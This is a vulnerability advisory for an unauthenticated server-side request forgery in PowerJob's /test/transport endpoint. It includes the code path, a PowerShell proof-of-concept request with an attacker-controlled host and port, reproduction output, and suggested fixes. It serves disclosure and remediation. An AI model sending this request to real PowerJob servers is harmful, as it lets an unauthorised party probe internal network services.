Unauthenticated SSRF vulnerability
SSRF in /test/transport
Summary
An SSRF vulnerability exists in the /test/transport endpoint.
The endpoint accepts a user-controllable remote url object from the HTTP request body and passes it to TransportService.ask() / TransportService.tell(). When the MU protocol is selected, the attacker-controlled url.address.host and url.address.port finally reach MuConnectionManager.getOrCreateConnection(), where PowerJob creates an outbound TCP connection with bootstrap.connect(host, port).
The /test/transport handler does not have @ApiPermission. If /test/** is exposed in a deployed PowerJob server, an unauthenticated attacker can make the server connect to arbitrary internal or external TCP services.
Details
Taint SOURCE:
// powerjob-server/powerjob-server-starter/src/main/java/tech/powerjob/server/web/controller/TestController.java
@PostMapping("/transport")
public Object testTransportService(@RequestBody Map<String, Object> params) throws ClassNotFoundException {
String method = MapUtils.getString(params, "method");
String protocol = MapUtils.getString(params, "protocol");
Object url = MapUtils.getObject(params, "url");
Object request = MapUtils.getObject(params, "request");
String requestClassName = MapUtils.getString(params, "requestClassName");
Class<? extends PowerSerializable> requestClz = (Class<? extends PowerSerializable>) Class.forName(requestClassName);
if ("ask".equalsIgnoreCase(method)) {
return transportService.ask(protocol, JsonUtils.toJavaObject(url, URL.class), JsonUtils.toJavaObject(request, requestClz) , AskResponse.class);
}
transportService.tell(protocol, JsonUtils.toJavaObject(url, URL.class), (PowerSerializable) request);
return "TELL_SUCCESS";
}The attacker controls the request body field url, including the target host and port:
{
"url": {
"address": {
"host": "127.0.0.1",
"port": 19080
}
}
}Taint SINK:
// powerjob-remote/powerjob-remote-impl-mu/src/main/java/tech/powerjob/remote/mu/MuConnectionManager.java
public CompletableFuture<Channel> getOrCreateConnection(Address targetAddress) {
...
ChannelFuture future = bootstrap.connect(targetAddress.getHost(), targetAddress.getPort());
...
}The taint flow is:
POST /test/transport
-> TestController.testTransportService(@RequestBody Map params)
-> params["url"]
-> JsonUtils.toJavaObject(url, URL.class)
-> TransportService.ask(protocol, URL, request, AskResponse.class)
-> MuTransporter.ask(...)
-> MuConnectionManager.getOrCreateConnection(url.getAddress())
-> bootstrap.connect(targetAddress.getHost(), targetAddress.getPort())There is no authentication, host allowlist, private-address filtering, or port restriction on this path.
The PowerJob auth interceptor allows controller methods without @ApiPermission:
// powerjob-server/powerjob-server-auth/src/main/java/tech/powerjob/server/auth/interceptor/PowerJobAuthInterceptor.java
final ApiPermission apiPermissionAnno = method.getAnnotation(ApiPermission.class);
if (apiPermissionAnno == null) {
return true;
}Tested Version
PowerJob latest master
Commit: 332179de26b44f0a949f7594ce9f57ee26fb6b27
Version: v5.1.2The issue was reproduced against a real PowerJob server process with MySQL configured.
POC
Start a TCP listener:
$listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Parse("127.0.0.1"), 19080)
$listener.Start()
"LISTENING on 127.0.0.1:19080"
$client = $listener.AcceptTcpClient()
"ACCEPTED from " + $client.Client.RemoteEndPoint
$client.Close()
$listener.Stop()Send the following request to the PowerJob server:
$body = @{
method = "ask"
protocol = "MU"
url = @{
serverType = "SERVER"
address = @{
host = "127.0.0.1"
port = 19080
}
location = @{
rootPath = "poc"
methodPath = "sink"
}
}
requestClassName = "tech.powerjob.common.request.ServerDeployContainerRequest"
request = @{
containerId = 1
containerName = "poc"
version = "v1"
downloadURL = "http://127.0.0.1/"
}
} | ConvertTo-Json -Depth 10
Invoke-WebRequest `
-Uri "http://127.0.0.1:17701/test/transport" `
-Method POST `
-ContentType "application/json" `
-Body $body `
-UseBasicParsingThe vulnerability is confirmed when the TCP listener receives an inbound connection from the PowerJob server process.
PoC Result
The vulnerability was reproduced against a real PowerJob server process.
PowerJob server:
Undertow started on port(s) 17701 (http)
MuCSInitializer Server started on 10.12.188.201:17777
Started PowerJobServerApplicationPoC result from the listener:
ACCEPTED from 127.0.0.1:49270This confirms that attacker-controlled url.address.host and url.address.port can cause the PowerJob server to initiate an outbound TCP connection.
Impact
An attacker who can access the PowerJob HTTP server can use /test/transport to make the server connect to arbitrary host/port pairs. This can be used to probe internal network services reachable from the PowerJob server.
The endpoint is implemented in src/main/java and is included in the production server module. Unless deployments explicitly block /test/**, it is exposed together with the normal PowerJob web server.
Suggested Fix
Recommended mitigations:
- Remove
TestControllerfrom production builds, or guard it behind a non-production Spring profile. - Add authentication and authorization to
/test/**endpoints if they must remain available. - Restrict
testTransportServiceso it cannot connect to arbitrary user-supplied hosts and ports. - Add destination validation before
MuConnectionManager.getOrCreateConnection(), such as an allowlist of known PowerJob cluster addresses. - Add regression tests to ensure unauthenticated requests to
/test/transportcannot trigger outbound connections.
CWE
- CWE-918: Server-Side Request Forgery (SSRF)
Source: PowerJob/PowerJob